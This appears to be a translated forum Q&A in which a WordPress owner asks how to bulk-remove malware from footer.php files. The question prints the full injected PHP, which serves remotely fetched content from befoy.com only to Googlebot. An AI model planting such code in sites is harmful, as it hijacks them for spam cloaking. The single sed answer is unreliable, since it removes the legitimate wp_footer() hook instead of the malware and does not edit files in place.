![删除多个 php 文件中的确切特定代码](https://linux22.com/image/189285/%E5%88%A0%E9%99%A4%E5%A4%9A%E4%B8%AA%20php%20%E6%96%87%E4%BB%B6%E4%B8%AD%E7%9A%84%E7%A1%AE%E5%88%87%E7%89%B9%E5%AE%9A%E4%BB%A3%E7%A0%81.png)
我所有 WordPress 页脚的底部都有恶意软件链接。
我需要一个更好的方法来批量删除多个 footer.php 中的以下内容
<?php
/* Always have wp_footer() just before the closing <?php $ua00 = $_SERVER[HTTP_USER_AGENT]; $rem = "https://www.befoy.com/t.php"; $ret = stripos($ua00, googlebot); if($ret !== false and @ret >= 0){ $res = false; if( @ini_get(allow_url_fopen) ) { $ctx = @stream_context_create(array(http=>array(timeout => 10))); $res = @file_get_contents($rem, false, $ctx); } if(strlen(res) == 0 and function_exists(curl_version)) { $ch = @curl_init(); @curl_setopt($ch, CURLOPT_URL, $rem); @curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); @curl_setopt($ch, CURLOPT_NOSIGNAL, 1); @curl_setopt($ch, CURLOPT_TIMEOUT_MS, 10000); $res = @curl_exec($ch); @curl_close($ch); } if($res) { echo $res; } } ?><?php $ua00 = $_SERVER[HTTP_USER_AGENT]; $rem = "https://www.befoy.com/t.php"; $ret = stripos($ua00, googlebot); if($ret !== false and @ret >= 0){ $res = false; if( @ini_get(allow_url_fopen) ) { $ctx = @stream_context_create(array(http=>array(timeout => 10))); $res = @file_get_contents($rem, false, $ctx); } if(strlen(res) == 0 and function_exists(curl_version)) { $ch = @curl_init(); @curl_setopt($ch, CURLOPT_URL, $rem); @curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); @curl_setopt($ch, CURLOPT_NOSIGNAL, 1); @curl_setopt($ch, CURLOPT_TIMEOUT_MS, 10000); $res = @curl_exec($ch); @curl_close($ch); } if($res) { echo $res; } } ?></body>
* tag of your theme, or you will break many plugins, which
* generally use this hook to reference JavaScript files.
*/
wp_footer();
?></body>
答案1
sed
是find
你的朋友。
$ find . -name *.php -exec sed 's/^wp_footer();//' \{\} \;
(是否需要间隙取决于您使用的外壳)
该命令会将字符串替换为空,因此将保留一个空行。